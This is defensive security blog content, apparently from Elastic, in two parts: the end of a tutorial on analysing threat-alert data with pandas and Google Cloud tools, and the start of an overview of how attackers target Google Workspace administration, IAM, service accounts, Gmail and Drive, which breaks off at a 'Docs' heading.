Consider our endpoint malware dataset. When analyzing trends, say, infections based on malware families or categories, we aim for an accurate representation. However, a single malware infection on an endpoint could generate multiple alerts depending on the Extended Detection and Response (XDR) system. If left unchecked, this could significantly skew our understanding of the threat landscape. To counteract this, we consider the Elastic agents, which are deployed as part of the XDR solution. Each endpoint has a unique agent, representing a single infection instance if malware is detected. Therefore, to normalize this dataset, we would "flatten" or adjust it based on unique agent IDs. This means, for our analysis, we'd consider the number of unique agent IDs affected by a specific malware family or category rather than the raw number of alerts.

Example visualization of malware alert normalization by unique agents

As depicted in the image above, if we chose to not normalize the malware data in preparation for trend analysis, our key findings would depict inaccurate information. This inaccuracy could be sourced from a plethora of data inconsistencies such as generic YARA rules, programmatic operations that were flagged repeatedly on a single endpoint, and many more.

Diversifying the approach: On the other hand, when dealing with endpoint behavior alerts or cloud alerts (from platforms like AWS, GCP, Azure, Google Workspace, and O365), our normalization approach might differ. These datasets could have their own nuances and may not require the same "flattening" technique used for malware alerts.

Conceptualizing normalization options: Remember the goal of normalization is to reduce redundancy in your data. Make sure to keep your operations as atomic as possible in case you need to go back and tweak them later. This is especially true when performing both normalization and standardization. Sometimes these can be difficult to separate, and you may have to go back and forth between the two. Analysts have a wealth of options for these. From Min-Max scaling, where values are shifted and rescaled to range between 0 and 1, to Z-score normalization (or standardization), where values are centered around zero and standard deviations from the mean. The choice of technique depends on the nature of the data and the specific requirements of the analysis.

In essence, normalization ensures that our cybersecurity analysis is based on a level playing field, giving stakeholders an accurate view of the threat environment without undue distortions. This is a critical step before trend analysis.

Anomaly detection: Refining the process of data analysis

In the realm of cybersecurity analytics, a one-size-fits-all approach to anomaly detection does not exist. The process is highly dependent on the specific characteristics of the data at hand. The primary goal is to identify and address outliers that could potentially distort the analysis. This requires a dynamic and adaptable methodology, where understanding the nuances of the dataset is crucial.

Anomaly detection in cybersecurity involves exploring various techniques and methodologies, each suited to different types of data irregularities. The strategy is not to rigidly apply a single method but rather to use a deep understanding of the data to select the most appropriate technique for each situation. The emphasis is on flexibility and adaptability, ensuring that the approach chosen provides the clearest and most accurate insights into the data.

Statistical methods – The backbone of analysis:

Statistical analysis is always an optional approach to anomaly detection, especially for cyber security data. By understanding the inherent distribution and central tendencies of our data, we can highlight values that deviate from the norm. A simple yet powerful method, the Z-score, gauges the distance of a data point from the mean in terms of standard deviations.

import numpy as np

# Derive Z-scores for data points in a feature
z_scores = np.abs((df['mitre_technique'] - df['mitre_technique'].mean()) / df['mitre_technique'].std())

outliers = df[z_scores > 3]  # Conventionally, a Z-score above 3 signals an outlier

Why this matters: This method allows us to quantitatively gauge the significance of a data point's deviation. Such outliers can heavily skew aggregate metrics like mean or even influence machine learning model training detrimentally. Remember, outliers should not always be removed; it is all about context! Sometimes you may even be looking for the outliers specifically.

Key library: While we utilize NumPy above, SciPy can also be employed for intricate statistical operations.

Aggregations and sorting – unraveling layers:

Data often presents itself in layers. By starting with a high-level view and gradually diving into specifics, we can locate inconsistencies or anomalies. When we aggregate by categories such as the MITRE ATT&CK tactic, and then delve deeper, we gradually uncover the finer details and potential anomalies as we go from technique to rule logic and alert context.

# Aggregating by tactics first
tactic_agg = df.groupby('mitre_tactic').size().sort_values(ascending=False)

From here, we can identify the most common tactics and choose the tactic with the highest count. We then filter our data for this tactic to identify the most common technique associated with the most common tactic. Techniques often are more specific than tactics and thus add more explanation about what we may be observing. Following the same approach we can then filter for this specific technique, aggregate by rule and review that detection rule for more context. The goal here is to find “noisy” rules that may be skewing our dataset and thus related alerts need to be removed. This cycle can be repeated until outliers are removed and the percentages appear more accurate.

Why this matters: This layered analysis approach ensures no stone is left unturned. By navigating from the general to the specific, we systematically weed out inconsistencies.

Key library: Pandas remains the hero, equipped to handle data-wrangling chores with finesse.

Visualization – The lens of clarity:

Sometimes, the human eye, when aided with the right visual representation, can intuitively detect what even the most complex algorithms might miss. A boxplot, for instance, not only shows the central tendency and spread of data but distinctly marks outliers.

import seaborn as sns
import matplotlib.pyplot as plt

plt.figure(figsize=(12, 8))
sns.boxplot(x='Malware Family', y='Malware Score', data=df)
plt.title('Distribution of Malware Scores by Family')
plt.show()

Example visualization of malware distribution scores by family from an example dataset

Why this matters: Visualization transforms abstract data into tangible insights. It offers a perspective that's both holistic and granular, depending on the need.

Key library: Seaborn, built atop Matplotlib, excels at turning data into visual stories.

Machine learning – The advanced guard:

When traditional methods are insufficient, machine learning steps in, offering a predictive lens to anomalies. While many algorithms are designed to classify known patterns, some, like autoencoders in deep learning, learn to recreate 'normal' data, marking any deviation as an anomaly.

Why this matters: As data complexity grows, the boundaries of what constitutes an anomaly become blurrier. Machine learning offers adaptive solutions that evolve with the data.

Key libraries: Scikit-learn is a treasure trove for user-friendly, classical machine learning techniques, while PyTorch brings the power of deep learning to the table.

Perfecting anomaly detection in data analysis is similar to refining a complex skill through practice and iteration. The process often involves trial and error, with each iteration enhancing the analyst's familiarity with the dataset. This progressive understanding is key to ensuring that the final analysis is both robust and insightful. In data analysis, the journey of exploration and refinement is as valuable as the final outcome itself.

Before proceeding to in-depth trend analysis, it's very important to ensure that the data is thoroughly pre-processed and transformed. Just as precision and reliability are essential in any meticulous task, they are equally critical in data analysis. The steps of cleaning, normalizing, enriching, and removing anomalies from the groundwork for deriving meaningful insights. Without these careful preparations, the analysis could range from slightly inaccurate to significantly misleading. It's only when the data is properly refined and free of distortions that it can reveal its true value, leading to reliable and actionable insights in trend analysis.

Trend analysis: Unveiling patterns in data

In the dynamic field of cybersecurity where threat actors continually evolve their tactics, techniques, and procedures (TTPs), staying ahead of emerging threats is critical. Trend analysis serves as a vital tool in this regard, offering a way to identify and understand patterns and behaviors in cyber threats over time.

By utilizing the MITRE ATT&CK framework, cybersecurity professionals have a structured and standardized approach to analyzing and categorizing these evolving threats. This framework aids in systematically identifying patterns in attack methodologies, enabling defenders to anticipate and respond to changes in adversary behaviors effectively.

Trend analysis, through the lens of the MITRE ATT&CK framework, transforms raw cybersecurity telemetry into actionable intelligence. It allows analysts to track the evolution of attack strategies and to adapt their defense mechanisms accordingly, ensuring a proactive stance in cybersecurity management.

Beginning with a broad overview: Aggregation and sorting

Commencing our analysis with a bird's eye view is paramount. This panoramic perspective allows us to first pinpoint the broader tactics in play before delving into the more granular techniques and underlying detection rules.

Top tactics: By aggregating our data based on MITRE ATT&CK tactics, we can discern the overarching strategies adversaries lean toward. This paints a picture of their primary objectives, be it initial access, execution, or exfiltration.

top_tactics = df.groupby('mitre_tactic').size()
 .sort_values(ascending=False)

Zooming into techniques: Once we've identified a prominent tactic, we can then funnel our attention to the techniques linked to that tactic. This reveals the specific modus operandi of adversaries.

chosen_tactic = 'Execution'

techniques_under_tactic = df[df['mitre_tactic'] == chosen_tactic]
top_techniques = techniques_under_tactic.groupby('mitre_technique').size()
 .sort_values(ascending=False)

Detection rules and logic: With our spotlight on a specific technique, it's time to delve deeper, identifying the detection rules that triggered alerts. This not only showcases what was detected, but by reviewing the detection logic, we also gain an understanding of the precise behaviors and patterns that were flagged.

chosen_technique = 'Scripting'

rules_for_technique = techniques_under_tactic[techniques_under_tactic['mitre_technique'] == chosen_technique]

top_rules = rules_for_technique
 .groupby('detection_rule').size().sort_values(ascending=False)

This hierarchical, cascading approach is akin to peeling an onion. With each layer, we expose more intricate details, refining our perspective and sharpening our insights.

The power of time: Time series analysis

In the realm of cybersecurity, time isn't just a metric; it's a narrative. Timestamps, often overlooked, are goldmines of insights. Time series analysis allows us to plot events over time, revealing patterns, spikes, or lulls that might be indicative of adversary campaigns, specific attack waves, or dormancy periods.

For instance, plotting endpoint malware alerts over time can unveil an adversary's operational hours or spotlight a synchronized, multi-vector attack:

import matplotlib.pyplot as plt

# Extract and plot endpoint alerts over time
df.set_index('timestamp')['endpoint_alert'].resample('D').count().plot()
plt.title('Endpoint Malware Alerts Over Time')
plt.xlabel('Time')
plt.ylabel('Alert Count')
plt.show()

Time series analysis doesn't just highlight "when" but often provides insights into the "why" behind certain spikes or anomalies. It aids in correlating external events (like the release of a new exploit) to internal data trends.

Correlation analysis

Understanding relationships between different sets of data can offer valuable insights. For instance, a spike in one type of alert could correlate with another type of activity in the system, shedding light on multi-stage attack campaigns or diversion strategies.

# Finding correlation between an increase in login attempts and data exfiltration activities
correlation_value = df['login_attempts'].corr(df['data_exfil_activity'])

This analysis, with the help of pandas corr, can help in discerning whether multiple seemingly isolated activities are part of a coordinated attack chain.

Correlation also does not have to be metric-driven either. When analyzing threats, it is easy to find value and new insights by comparing older findings to the new ones.

Machine learning & anomaly detection

With the vast volume of data, manual analysis becomes impractical. Machine learning can assist in identifying patterns and anomalies that might escape the human eye. Algorithms like Isolation Forest or K-nearest neighbor(KNN) are commonly used to spot deviations or clusters of commonly related data.

from sklearn.ensemble import IsolationForest

# Assuming 'feature_set' contains relevant metrics for analysis
clf = IsolationForest(contamination=0.05)
anomalies = clf.fit_predict(feature_set)

Here, the anomalies variable will flag data points that deviate from the norm, helping analysts pinpoint unusual behavior swiftly.

Behavioral patterns & endpoint data analysis

Analyzing endpoint behavioral data collected from detection rules allows us to unearth overarching patterns and trends that can be indicative of broader threat landscapes, cyber campaigns, or evolving attacker TTPs.

Tactic progression patterns: By monitoring the sequence of detected behaviors over time, we can spot patterns in how adversaries move through their attack chain. For instance, if there's a consistent trend where initial access techniques are followed by execution and then lateral movement, it's indicative of a common attacker playbook being employed.

Command-line trend analysis: Even within malicious command-line arguments, certain patterns or sequences can emerge. Monitoring the most frequently detected malicious arguments can give insights into favored attack tools or scripts.

Example:

# Most frequently detected malicious command lines
top_malicious_commands = df.groupby('malicious_command_line').size()
 .sort_values(ascending=False).head(10)

Process interaction trends: While individual parent-child process relationships can be malicious, spotting trends in these interactions can hint at widespread malware campaigns or attacker TTPs. For instance, if a large subset of endpoints is showing the same unusual process interaction, it might suggest a common threat.

Temporal behavior patterns: Just as with other types of data, the temporal aspect of endpoint behavioral data can be enlightening. Analyzing the frequency and timing of certain malicious behaviors can hint at attacker operational hours or campaign durations.

Example:

# Analyzing frequency of a specific malicious behavior over time
monthly_data = df.pivot_table(index='timestamp', columns='tactic', values='count', aggfunc='sum').resample('M').sum()

ax = monthly_data[['execution', 'defense-evasion']].plot(kind='bar', stacked=False, figsize=(12,6))

plt.title("Frequency of 'execution' and 'defense-evasion' Tactics Over Time")

plt.ylabel("Count")
ax.set_xticklabels([x.strftime('%B-%Y') for x in monthly_data.index])
plt.xticks(rotation=45)
plt.tight_layout()
plt.show()

Note: This image is from example data and not from the Global Threat Report

By aggregating and analyzing endpoint behavioral data at a macro level, we don't just identify isolated threats but can spot waves, trends, and emerging patterns. This broader perspective empowers cybersecurity teams to anticipate, prepare for, and counter large-scale cyber threats more effectively.

While these are some examples of how to perform trend analysis, there is no right or wrong approach. Every analyst has their own preference or set of questions they or stakeholders may want to ask. Here are some additional questions or queries analysts may have for cybersecurity data when doing trend analysis.

• What are the top three tactics being leveraged by adversaries this quarter?
• Which detection rules are triggering the most, and is there a common thread?
• Are there any time-based patterns in endpoint alerts, possibly hinting at an adversary's timezone?
• How have cloud alerts evolved with the migration of more services to the cloud?
• Which malware families are becoming more prevalent, and what might be the cause?
• Do the data patterns suggest any seasonality, like increased activities towards year-end?
• Are there correlations between external events and spikes in cyber activities?
• How does the weekday data differ from weekends in terms of alerts and attacks?
• Which organizational assets are most targeted, and are their defenses up-to-date?
• Are there any signs of internal threats or unusual behaviors among privileged accounts?

Trend analysis in cybersecurity is a dynamic process. While we've laid down some foundational techniques and questions, there are myriad ways to approach this vast domain. Each analyst may have their preferences, tools, and methodologies, and that's perfectly fine. The essence lies in continuously evolving and adapting to our approach while cognizantly being aware of the ever-changing threat landscape for each ecosystem exposed to threats.

Reduction: Streamlining for clarity

Having progressed through the initial stages of our data analysis, we now enter the next phase: reduction. This step is about refining and concentrating our comprehensive data into a more digestible and focused format.

Recap of the Analysis Journey So Far:

• Extraction: The initial phase involved setting up our Google Cloud environment and selecting relevant datasets for our analysis.
• Pre-processing and transformation: At this stage, the data was extracted, processed, and transformed within our Colab notebooks, preparing it for detailed analysis.
• Trend analysis: This phase provided in-depth insights into cyber attack tactics, techniques, and malware, forming the core of our analysis.

While the detailed data in our Colab Notebooks is extensive and informative for an analyst, it might be too complex for a broader audience. Therefore, the reduction phase focuses on distilling this information into a more concise and accessible form. The aim is to make the findings clear and understandable, ensuring that they can be effectively communicated and utilized across various departments or stakeholders.

Selecting and aggregating key data points

In order to effectively communicate our findings, we must tailor the presentation to the audience's needs. Not every stakeholder requires the full depth of collected data; many prefer a summarized version that highlights the most actionable points. This is where data selection and aggregation come into play, focusing on the most vital elements and presenting them in an accessible format.

Here's an example of how to use Pandas to aggregate and condense a dataset, focusing on key aspects of endpoint behavior:

required_endpoint_behavior_cols = ['rule_name','host_os_type','tactic_name','technique_name']


reduced_behavior_df = df.groupby(required_endpoint_behavior_cols).size()
 .reset_index(name='count')
 .sort_values(by="count", ascending=False)
 .reset_index(drop=True)

columns = {
    'rule_name': 'Rule Name', 
    'host_os_type': 'Host OS Type',
    'tactic_name': 'Tactic', 
    'technique_name': 'Technique', 
    'count': 'Alerts'
}

reduced_behavior_df = reduced_behavior_df.rename(columns=columns)

One remarkable aspect of this code and process is the flexibility it offers. For instance, we can group our data by various data points tailored to our needs. Interested in identifying popular tactics used by adversaries? Group by the MITRE ATT&CK tactic. Want to shed light on masquerading malicious binaries? Revisit extraction to add more Elastic Common Schema (ECS) fields such as file path, filter on Defense Evasion, and aggregate to reveal the commonly trodden paths. This approach ensures we create datasets that are both enlightening and not overwhelmingly rich, tailor-made for stakeholders who wish to understand the origins of our analysis.

This process involves grouping the data by relevant categories such as rule name, host OS type, and MITRE ATT&CK tactics and techniques and then counting the occurrences. This method helps in identifying the most prevalent patterns and trends in the data.

Diagram example of data aggregation to obtain reduced dataset

Exporting reduced data to Google Sheets for accessibility

The reduced data, now stored as a dataframe in memory, is ready to be exported. We use Google Sheets as the platform for sharing these insights because of its wide accessibility and user-friendly interface. The process of exporting data to Google Sheets is straightforward and efficient, thanks to the integration with Google Cloud services.

Here's an example of how the data can be uploaded to Google Sheets using Python from our Colab notebook:

auth.authenticate_user()
credentials, project = google.auth.default()
gc = gspread.authorize(credentials)
workbook = gc.open_by_key("SHEET_ID")
behavior_sheet_name = 'NAME_OF_TARGET_SHEET'
endpoint_behavior_worksheet = workbook.worksheet(behavior_sheet_name)
set_with_dataframe(endpoint_behavior_worksheet, reduced_behavior_df)

With a few simple lines of code, we have effectively transferred our data analysis results to Google Sheets. This approach is widely used due to its accessibility and ease of use. However, there are multiple other methods to present data, each suited to different requirements and audiences. For instance, some might opt for a platform like Looker to present the processed data in a more dynamic dashboard format. This method is particularly useful for creating interactive and visually engaging presentations of data. It ensures that even stakeholders who may not be familiar with the technical aspects of data analysis, such as those working in Jupyter Notebooks, can easily understand and derive value from the insights.

This streamlined process of data reduction and presentation can be applied to different types of datasets, such as cloud SIEM alerts, endpoint behavior alerts, or malware alerts. The objective remains the same: to simplify and concentrate the data for clear and actionable insights.

Presentation: Showcasing the insights

After meticulously refining our datasets, we now focus on the final stage: the presentation. Here we take our datasets, now neatly organized in platforms like Google Sheets or Looker, and transform them into a format that is both informative and engaging.

Pivot tables for in-depth analysis

Using pivot tables, we can create a comprehensive overview of our trend analysis findings. These tables allow us to display data in a multi-dimensional manner, offering insights into various aspects of cybersecurity, such as prevalent MITRE ATT&CK tactics, chosen techniques, and preferred malware families.

Our approach to data visualization involves:

• Broad overview with MITRE ATT&CK tactics: Starting with a general perspective, we use pivot tables to overview the different tactics employed in cyber threats.
• Detailed breakdown: From this panoramic view, we delve deeper, creating separate pivot tables for each popular tactic and then branching out into detailed analyses for each technique and specific detection rule.

This methodical process helps to uncover the intricacies of detection logic and alerts, effectively narrating the story of the cyber threat landscape.

Diagram showcasing aggregations funnel into contextual report information

Accessibility across audiences: Our data presentations are designed to cater to a wide range of audiences, from those deeply versed in data science to those who prefer a more straightforward understanding. The Google Workspace ecosystem facilitates the sharing of these insights, allowing pivot tables, reduced datasets, and other elements to be easily accessible to all involved in the report-making process.

Integrating visualizations into reports: When crafting a report, for example, in Google Docs, the integration of charts and tables from Google Sheets is seamless. This integration ensures that any modifications in the datasets or pivot tables are easily updated in the report, maintaining the efficiency and coherence of the presentation.

Tailoring the presentation to the audience: The presentation of data insights is not just about conveying information; it's about doing so in a visually appealing and digestible manner. For a more tech-savvy audience, an interactive Colab Notebook with dynamic charts and functions may be ideal. In contrast, for marketing or design teams, a well-designed dashboard in Looker might be more appropriate. The key is to ensure that the presentation is clear, concise, and visually attractive, tailored to the specific preferences and needs of the audience.

Conclusion: Reflecting on the data analysis journey

As we conclude, it's valuable to reflect on the territory we've navigated in analyzing cyber threat data. This journey involved several key stages, each contributing significantly to our final insights.

Journey through Google's Cloud ecosystem

Our path took us through several Google Cloud services, including GCP, GCE, Colab Notebooks, and Google Workspace. Each played a pivotal role:

Data exploration: We began with a set of cyber-related questions we wanted to answer and explored what vast datasets we had available to us. In this blog, we focused solely on telemetry being available in BigQuery. Data extraction: We began by extracting raw data, utilizing BigQuery to efficiently handle large volumes of data. Extraction occurred in both BigQuery and from within our Colab notebooks. Data wrangling and processing: The power of Python and the pandas library was leveraged to clean, aggregate, and refine this data, much like a chef skillfully preparing ingredients. Trend analysis: We then performed trend analysis on our reformed datasets with several methodologies to glean valuable insights into adversary tactics, techniques, and procedures over time. Reduction: Off the backbone of our trend analysis, we aggregated our different datasets by targeted data points in preparation for presentation to stakeholders and peers. Transition to presentation: The ease of moving from data analytics to presentation within a web browser highlighted the agility of our tools, facilitating a seamless workflow.

Modularity and flexibility in workflow

An essential aspect of our approach was the modular nature of our workflow. Each phase, from data extraction to presentation, featured interchangeable components in the Google Cloud ecosystem, allowing us to tailor the process to specific needs:

Versatile tools: Google Cloud Platform offered a diverse range of tools and options, enabling flexibility in data storage, analysis, and presentation. Customized analysis path: Depending on the specific requirements of our analysis, we could adapt and choose different tools and methods, ensuring a tailored approach to each dataset. Authentication and authorization: Due to our entities being housed in the Google Cloud ecosystem, access to different tools, sites, data, and more was all painless, ensuring a smooth transition between services.

Orchestration and tool synchronization

The synergy between our technical skills and the chosen tools was crucial. This harmonization ensured that the analytical process was not only effective for this project but also set the foundation for more efficient and insightful future analyses. The tools were used to augment our capabilities, keeping the focus on deriving meaningful insights rather than getting entangled in technical complexities.

In summary, this journey through data analysis emphasized the importance of a well-thought-out approach, leveraging the right tools and techniques, and the adaptability to meet the demands of cyber threat data analysis. The end result is not just a set of findings but a refined methodology that can be applied to future data analysis endeavors in the ever-evolving field of cybersecurity.

Call to Action: Embarking on your own data analytics journey

Your analytical workspace is ready! What innovative approaches or experiences with Google Cloud or other data analytics platforms can you bring to the table? The realm of data analytics is vast and varied, and although each analyst brings a unique touch, the underlying methods and principles are universal.

The objective is not solely to excel in your current analytical projects but to continually enhance and adapt your techniques. This ongoing refinement ensures that your future endeavors in data analysis will be even more productive, enlightening, and impactful. Dive in and explore the world of data analytics with Google Cloud!

We encourage any feedback and engagement for this topic! If you prefer to do so, feel free to engage us in Elastic’s public #security Slack channel.

Formerly known as GSuite, Google Workspace (GW) is a collection of enterprise tools offered by Google. Popular services such as Google Drive, Gmail and Google Forms are used by many small and midsize businesses (SMBs), as well as larger organizations.

When referring to security, GW is often mentioned because a threat is abusing or targeting services and resources. As practitioners, it is essential we consider risks associated and plan defenses accordingly. Importantly, Microsoft and Amazon offer some of the same services: if there’s a “least risk” option among them we haven’t seen evidence of it yet, and each prioritizes their own form of visibility.

During this multipart series, we’ll help you understand what GW is and some of the common risks to be aware of, while encouraging you to take control of your enterprise resources: - Part One - Surveying the Land - Part Two - Setup Threat Detection with Elastic - Part Three - Detecting Common Threats

In this publication, readers will learn more about common resources and services in GW and how these are targeted by threats. This will provide an overview of administration, organizational structures, identity access and management (IAM), developer resources, and a few other topics you should think about.

But before we begin, let’s highlight the importance of organizations also taking ownership of this attack surface. If you’re using these enterprise tools and don’t consider them part of your enterprise, that is the challenge to overcome first. Know where your visibility extends to, know which capabilities you can exercise within that range, and don’t mistake vendor-operated for vendor-secured.

Common Services Targeted by Threats

Services and applications available in GW include cloud storage, email, identity and access management (IAM), chat and much more. Behind the scenes, developers can access application programming interfaces (APIs) to interact programmatically with GW. Together, these services allow organizations of all sizes to provide users with their own Internet-accessible virtual “workspace”. However, threat actors have discovered trivial and advanced methods to abuse these services. While there is plenty of information to cover, we should start with administration as it provides an overview of GW and will help set the stage for more in-depth context about applications or developer resources.

Administration

Few GW users are aware of the admin console or the settings it exposes, unless they happen to also be an administrator. The admin console is the central command center for GW administrators to manage the services and resources of their organization. The term “organization” is directly referenced by the primary domain registered with GW and therefore is the root node of GW. Only user accounts with administrative roles can sign-in and access their organization’s admin console.

GW employs a directory service-like structure that defines users, groups, organizational units (OUs), roles and other attributes of the enterprise for easy navigation. While the admin console is not inherently a risk, compromised valid accounts (T1078.004) with that level of privilege expose organizations to greater risk.

Aside from IAM, administrators use the admin console to manage applications available to their organization. The most popular of these being Gmail, Drive and Docs, Google Meet, Google Forms, Google Sheets and Calendar. Additional Google services can be added, though most are enabled by default when setting up your GW; such as Chrome Remote Desktop. Depending on the OU configuration, permissions for users to these applications may be inherited from the root OU. The principles of least privilege (PoLP) and application control are critical to reducing organizational risk within GW.

Administrators can also manage mobile and endpoint device enrollment, as well as network related settings from the admin console. Administrators can add devices by uploading a CSV containing the serial number, which can be assigned to a user. For corporate-owned devices, this provides convenient auditing that may unfortunately become necessary. Universal settings for mobile devices are also available, allowing data and setting synchronization for iOS, Android and Google devices. GW allows mobile device management (MDM), allowing admins to apply local changes using Open Mobile Alliance - Uniform Resources (OMA-URIs).

Coincidentally, making changes to remote enterprise endpoints is also a popular goal of adversaries.

GW admins have the capability to create and manage Wi-Fi, Ethernet, VPN and Cellular networks. For cellular devices this is typically done via the Subscription Management Root-Discovery Service (SM-DP) which is used to connect eSIM devices to a mobile network. VPN and proxy settings can be configured as well with routing through Google’s DNS infrastructure by default or custom routing if chosen.

Windows endpoints can also be managed via GW, with the capability to modify settings and synchronize data with Active Directory (AD) or an existing LDAP server. This is accomplishable with GW’s Google Cloud Directory Sync (GCDS). Settings can be applied to each endpoint, such as BitLocker, automatic updates or authentication via Google Credential Provider for Windows (GCPW). GCPW allows users to login to a Windows endpoint with their Google account for authentication. Users with sufficient privileges can make changes to remote enterprise endpoints by configuring a custom policy through the configuration service provider (CSP). This is possible with the Windows 10 enterprise platform, which exposes endpoint configuration settings that allow GW, as a MDM service to read, set, modify or delete configuration settings. Microsoft has an extensive list of CSP settings that are exposed for management via custom policies. While integration between platforms is important to daily operations, this service equips adversaries with the capability to expand their intrusion into the Windows ecosystem.

Organizational Structure

The digital structure of an enterprise in GCP or GW is often hierarchical: where the registered domain is the top-level, parent, or root, and any nested organizations under this are used for the grouping and permission scoping.

An important subject to understand for GW are OUs, which can be thought of as “departments” within an organization and can have subsidiary OUs. The hierarchy starts with a top-level OU, typically from the primary domain registration and organization name where child units can be added as needed. Service and application access are then inherited from the top-level OU if not specified. Users assigned to an OU will have access to any services and resources as inherited.

As an alternative, administrators can create and manage access groups to add an additional layer of resource-based control. Users who are assigned to an access group will inherit access and permissions from those set for the group itself, which may bypass restrictions set on the OU they are assigned to. For example, if an OU for engineering is without access to Drive and Docs, a user is assigned to an access group with access to Drive and Docs can bypass the child OU settings.

GW’s organizational structure and layered approach to access control enables administrators to scope roles easier for users. Unfortunately, incomplete or misconfigured access controls could allow unexpected permission inheritance from the top-level OU. Access restrictions could unexpectedly be bypassed by users outside their expected access groups, thus introducing insider threat risk via additional cloud roles (T1098.003).

Identity Access and Management

Identity vs Account

The identity of users when using Google’s services is that of the account being used, often the email address. Identity does differ from user account slightly in that the identity of a user is unique, but the user account is a data structure keeping track of configurations, attributes, activities and more when interacting with Google’s services.

Standalone Gmail addresses (@gmail.com) are consumer accounts typically meant to be used by a private individual, whereas Gmail addresses with a registered domain name are managed user accounts as their lifecycle and configuration are fully managed by the organization. Therefore, when we discuss IAM in this publication, the context is typically towards managed user accounts whose identity and data is managed by the GW organization.

However, the relationship between identity and account does not have to be 1:1, meaning an email address, or identity, can be tied to two separate user accounts. If an organization does not enforce a new and separate identity for their users, risk looms around the private user account whom’s settings are managed by the user themselves, not the organization. In this example, the widespread use of valid compromised accounts undermines the ability of defenders to identify when this is malicious versus benign.

Machine Accounts

Machine accounts exist and allow developers to interact with Google services and resources programmatically. These are not managed within GW, but rather Google Cloud Platform (GCP) via the use of service accounts. A bridge exists in the form of domain-wide delegation between GW and GCP.

This feature authorizes GCP service accounts to access data, resources, services and much more within GW via application APIs. OAuth2 is the protocol used for authentication between GCP service accounts and GW.

The most common risk of this approach is with the storage and use of service account credentials. Since service accounts often have elevated privileges due to their automation and programmatic intentions, adversaries prioritize finding these credentials, such as a Linux cloud worker. Often, public/private key pairs are stored insecurely for local scripts or programs that use them. Adversaries can then discover the unsecured credentials (T1552) from a text file, extract them from memory, environment variables or even log files. Once compromised, adversaries have a bridge into GW from GCP with a valid service account that may be monitored less diligently than a user account.

Roles and Groups

Within GW, role-based access control (RBAC) only exists at the administrative level. This means the default and custom roles can be set up and configured from the admin console, however, the privileges available are mainly administrative. As we discussed earlier, Google’s hierarchy is top-down starting with the root OU, followed by child OUs; resources and services are enabled or disabled on a per-OU basis. By default a non-admin user belongs under the root OU, thus inheriting any access explicitly set at the root level where global privileges should be minimal.

Not to be confused with Google’s Group application, access groups allow administrators to set specific access and privileges to resources and services at the user-level, similar to role-level controls. Typically, a group is created and then privileges to resources and services are assigned. Users are then added as members to those specific groups, overriding or superseding inherited privileges from the OU.

External Identities

As stated before, Gmail’s email names are unique IDs so users can use the same ID for both their consumer account and managed user accounts with the use of an external identity provider (IdP). This process typically requires single sign-on (SSO) via security assertion markup language (SAML) and therefore the IdP must recognize the identity before they can sign on.

Authentication is relayed from GW to the SAML IdP and relies on trusting the external provider’s identification verification. This is even true for active directory (AD) services or Okta where those become the external authoritative source. Data in transit during the SAML SSO process presents the greatest risk, and intercepted SAML responses to the IdP may be used to authenticate via forged credentials (T1606.002).

Developer Resources

There are two methods for programmatically interacting with GW: Google Apps Scriptand REST APIs. Google Apps Script is an application development platform for fast and easy business applications to better integrate with GW. Whereas, REST APIs provide a direct method of communicating with GW, often in cases where integration is not fast or easy. External interaction with GW is another benefit to REST APIs, as Apps Script is meant for internal use.

Apps Script

With Apps Script, developers use JavaScript with access to built-in libraries specific to each Google application. The term “rapid” is often emphasized because the platform is available at the domain, script.google.com, and tied directly to the organization the user is logged into, no installation at all. This tool can be extremely useful for accomplishing tasks in GW related to existing applications, administrative settings and more.

Each coding application you create in Apps Script is known as a project and can be used by other GW tools. Within that project, you write your JavaScript code as you see fit. From its console, you can run, debug or view execution logs.

The project can also be deployed to your GW with versioning control as a web application, API executable, Add-on or Library. Script’s can also be deployed as libraries, making code shareable across projects. Last but not least, triggers can be set for each project where specific functions can be run at specific times allowing developers to choose which code blocks are executed and when.

Applications

In GW, the main attraction to organizations is typically the abundance of native applications offered by Google. Google’s Drive, Docs, Gmail, Sheets and Forms are just a few that are readily available to users for communication, storage, documentation or data gathering and analysis. All of these applications make up a user’s workspace, but are also targeted by adversaries because of their popularity and seamless integration with each other.

Therefore it is essential to understand that while applications compliment each other in GW, they often require authorization to each other where access rights have to be explicitly granted by the user. While security practitioners may generally be suspicious of applications requiring access, general users may not and grant access without thinking twice. This then allows malicious applications such as Apps Script functions contained in a Google Sheet, to access the private data behind each application.

Gmail

Arguably the most popular application provided by GW, Gmail has historically been abused by adversaries as a delivery mechanism for malicious attachments or links. For those unaware, Gmail is Google’s free email service with nearly 1.5 billion active users as of 2018, according to a statista report.

Phishing (T1566) is often the most common technique conducted by adversaries with the help of Gmail, where stealing valid credentials is the goal. Victims are sent emails containing malicious attachments or links where malware may be installed or a user is redirected to a fake website asking for credentials to login. If account compromise occurs, this allows for internal spear phishing (T1534) attacks, potentially targeted towards an existing administrator.

Email collection (T1114) is another technique used by adversaries whose modus operandi (MO), may be to simply collect sensitive information. In GW, administrators have privileges to set custom global mail routes for specific users, groups or OUs, whereas users can create their own forwarding rules as well. Capability for an adversary to do so, whether manually or programmatically, comes down to valid account compromise and therefore signs of this activity may be found later in the intrusion process.

Taking Gmail a step further, adversaries may also use GW’s web services (T1102) for command and control purposes as identified by ESET researchers regarding the ComRAT v4 backdoor of 2020. With attribution pointed towards advanced persistent threat (APT) group, Turla, the abuse of Gmail is also a tool for more advanced threats.

Drive

Google Drive, being a free digital storage service with an active Gmail account, is also a common target by adversaries. Where valid accounts are compromised, adversaries have the capability to steal private data stored in Google Drive. Sharing documents in Google Drive relies on a trust model, where the user can create a custom shareable link and invite others. Administrators have the capability to enable and expose public shared drives from their organization as well. Access and privileges rely on sharing permissions set by the owner or organization and the intended recipient for either the shareable link or Google cloud identity who has access to those shared objects.

Let’s not forget that GW allows administrators to set up enterprise mobility management (EMM) and mobile device management (MDM) for mobile devices. These mobile devices then have access to private shared drives in an organization’s Google drive space. An adversary could take advantage of this to obtain unauthorized access to mobile devices via these remote services (TA0039). Geographic coordinates of a mobile device or end user could also be obtained from such services if abused to do so.

Command and control via bidirectional communication (T1102.002) to a Google Drive is another option for adversaries who may be using the service to host and deploy malicious payloads as those from APT29. Oftentimes, this reflects compromised web services (T1584.006) simply through a valid account and enabled Google Drive API. This is often the case when adversaries may leverage Google Drive to stage exfiltrated data programmatically prior to its final destination.

Docs

